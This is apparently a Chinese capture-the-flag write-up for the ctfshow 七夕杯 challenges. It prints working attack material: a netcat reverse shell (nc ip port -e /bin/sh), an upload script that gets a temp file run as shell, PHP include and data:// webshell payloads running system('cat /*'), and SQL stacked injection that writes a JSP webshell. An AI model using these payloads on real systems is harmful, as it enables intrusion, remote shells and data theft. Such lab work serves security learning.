ctfshow 七夕杯(复现)

ctfshow 七夕杯(复现)

1、签到题

(限制长度的命令执行 七字符、五字符、四字符)
网页源码中存在提示,限制长度为7字符

 function isSafe(cmd)
{  
  return cmd.length<=7;
}

1.1 直接命令执行

nl /*>1  #这条命令刚好七个字符

我开始这样做了,但是最后并没有做出来的原因是:我一直在网站根目录下看有没有生成文件,实际上这条命令执行在api这个目录下,生成的文件也在这个目录下,所以需要到/api这个目录下去寻找是否生成文件

1.2 上传临时文件并执行

. /t*/*  # 这个命令刚好七个字符,会把tmp目录下所有的文件当sh文件执行

文件内容写一个nc连接,如果返回内容卡住,说明命令执行成功

nc ip port -e /bin/sh

写脚本过程中发现不太会写上传文件操作,于是去看查,可以知道上传文件的主要语句为

file = {"file":("filename.txt",oepn("file-path",'rb'))}
requests.post(url, file)
# 或者直接写文件内容
file ={"file":"nc ip port -e sh"}
import requests as req
url = "http://41f860bd-aa73-4ab4-91c0-4081f1d7ac5d.challenge.ctf.show/api/tools.php"
data = {"cmd":". /t*/*"}
file = {'file':("bash.txt",open(r"D:\Sec\CTF\CTF_GAME\08_24_ctfshow\限制长度命令执行\bash.txt",'rb'))}
response = req.post(url=url,data=data,files=file)
print(response.text)

上传临时文件并执行,在shell中拿flag

2、ez_calc

首页给了源码,可以进行源码分析

<?php
if(check($code)){
    eval('$result='."$code".";");
    echo($result);    
}
function check(&$code){
    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];
    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        return false;
    }
    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }
    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }
    return false;
}

最终执行命令的语句是 $num1$symbol$num2 拼接起来的,而且过滤()不能调用函数,所以根据语言结构是 include、require、echo这种语句,试着去包含文件。这个题可以理解为注入,在整个计算语句中注入我们想要执行的命令语句,只不过是过滤()之后不能调用函数执行

没有过滤 /,用include去包含一下 /etc/passwd 可以成功得到回显

num1=1;include "/etc/passwd";1&symbol=-&num2=2

2.1 包含日志文件

去包含日志文件,看下是否有flag,没有flag,试着另外的办法
nginx日志文件的一般目录是

/var/log/nginx/access.log
/var/log/nginx/access.log
nginx -t 获取配置文件路径

apache日志文件的一般目录是

/var/log/apache2/access.log

可以往日志写shell然后包含,拿flag

http的url位置会对<>进行编码,尝试别的地方,发现User-Agent没有编码,可以写入语句,但是写入之后报错,原因在于使用了",导致语句因为"闭合而报错

正确的是使用单引号

ctfshow 七夕杯(复现)

2.2 利用伪协议进行命令执行

利用data伪协议进行包含与命令执行


data://text/plain,<?php phpinfo();>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+  
注释:<?php phpinfo();?> 这个payload中的加号 需要编码,否则识别成空格,这个base语句就无法被解析
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== 
注释:<?php phpinfo(); php文件中末尾的?>可以省去,或者多加空格,将+消去

在这里插入图片描述

num1=1;include "data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";1&symbol=/&num2=1

GET

?1=system('cat /*');

3、ez_cmd

直接nc连接即可,但要注意 参数放后面,放前面有可能不执行

nc ip port -e /bin/sh

预期解法是不出网,可能解法?

4、easql

4.1、收集信息

SageUtil类中有过滤函数

String[] ban = new String[]{"'", "file", "information", "mysql", "from", "update", "delete", "select", ",", "union", "sleep", "("};
for(int var4 = 0; var4 < var3; ++var4){
    String s = var2[var4];
    if (sql.contains(s)){
        return true;
    }
}

配置文件中有开启多语句查询

url=jdbc:mysql://127.0.0.1:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC
db_username=root
db_password=root

存在拼接的语句如下

String sql = "select username,password from app_user where username ='" + username + "' and password ='" + password + "' ;";

4.2、寻找解题方法

暂时的思路

  • 过滤引号,可以用\转义,使之闭合 √
  • 过滤() 可能用 order by
  • 无回显需要采取盲注,或者采用dns外带的方法
  • 盲注可以用 regex 或 like
      'username':'admin\\',
      'password':'or password regexp binary {}#'
    
  • 堆叠注入(写shell?) √

注:第四题第一点和第二点是自己在做题时候写的,下面是复现的内容

4.3、题目预期解题方法

  • 堆叠注入锁表,导致insert语句执行错误进入catch语句
  • catch语句实现的功能是将password做文件名,username做文件内容,写一个文件,这里就可以写shell,但是要绕过()的过滤
  • sql查询的时候要union一下

4.3.1 锁表

username=a\&password=;flush tables with read lock;%23

4.3.2 写入shell

因为过滤(),通过jstl来写一个连接数据库的jsp并且回显的小马

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
<%@ page isELIgnored="false" %>
<sql:setDataSource var="test" driver="${param.driver}"
        url="${param.url}" user="root" password="root" />
   <sql:query dataSource="${test}" var="result">
        ${param.sql}
    </sql:query>
<table border="1" width="100%">
        <tr>
            <th>ctfshow</th>
        </tr>
        <c:forEach var="row" items="${result.rows}">
            <tr>
                <td><c:out value="${row.t}" /></td>
            </tr>
        </c:forEach>
    </table>
username=%3C%25%40%20page%20language%3D%22java%22%20contentType%3D%22text%2Fhtml%3B%20charset%3DUTF-8%22%0A%20%20%20%20pageEncoding%3D%22UTF-8%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fsql%22%20prefix%3D%22sql%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fcore%22%20prefix%3D%22c%22%25%3E%0A%3C%25%40%20page%20isELIgnored%3D%22false%22%20%25%3E%0A%3Csql%3AsetDataSource%20var%3D%22test%22%20driver%3D%22%24%7Bparam.driver%7D%22%0A%20%20%20%20%20%20%20%20url%3D%22%24%7Bparam.url%7D%22%20user%3D%22root%22%20password%3D%22root%22%20%2F%3E%0A%20%20%20%3Csql%3Aquery%20dataSource%3D%22%24%7Btest%7D%22%20var%3D%22result%22%3E%0A%20%20%20%20%20%20%20%20%24%7Bparam.sql%7D%0A%20%20%20%20%3C%2Fsql%3Aquery%3E%0A%0A%0A%0A%3Ctable%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%20%20%20%20%20%20%20%20%3Ctr%3E%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3Et%3C%2Fth%3E%0A%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3Cc%3AforEach%20var%3D%22row%22%20items%3D%22%24%7Bresult.rows%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Ctr%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3E%3Cc%3Aout%20value%3D%22%24%7Brow.t%7D%22%20%2F%3E%3C%2Ftd%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3C%2Fc%3AforEach%3E%0A%20%20%20%20%3C%2Ftable%3E&password=../webapps/ROOT/1.jsp

然后访问1.jsp,并且连接数据库,联合查询得到flag

查表

1.jsp?driver=com.mysql.jdbc.Driver&url=jdbc:mysql://localhost:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC&sql=select group_concat(table_name) as t from information_schema.tables where table_schema="app";

中间还有读字段省略了
读flag

/1.jsp?driver=com.mysql.jdbc.Driver&url=jdbc:mysql://localhost:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC&sql=select%20f1ag%20as%20t%20from%20app_flag_xxoo_non0%20union%20select%201;

参考链接
1.官方WP
2.限制长度的命令执行
3.PHP文件包含总结
4.https://www.extrader.top/posts/d991f96a/#%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8
5.https://xz.aliyun.com/t/10594#toc-5
6.sql写shell参考文章
7.jsp马

                       

点击阅读全文

上一篇 2023年 6月 7日 am10:20
下一篇 2023年 6月 7日 am10:21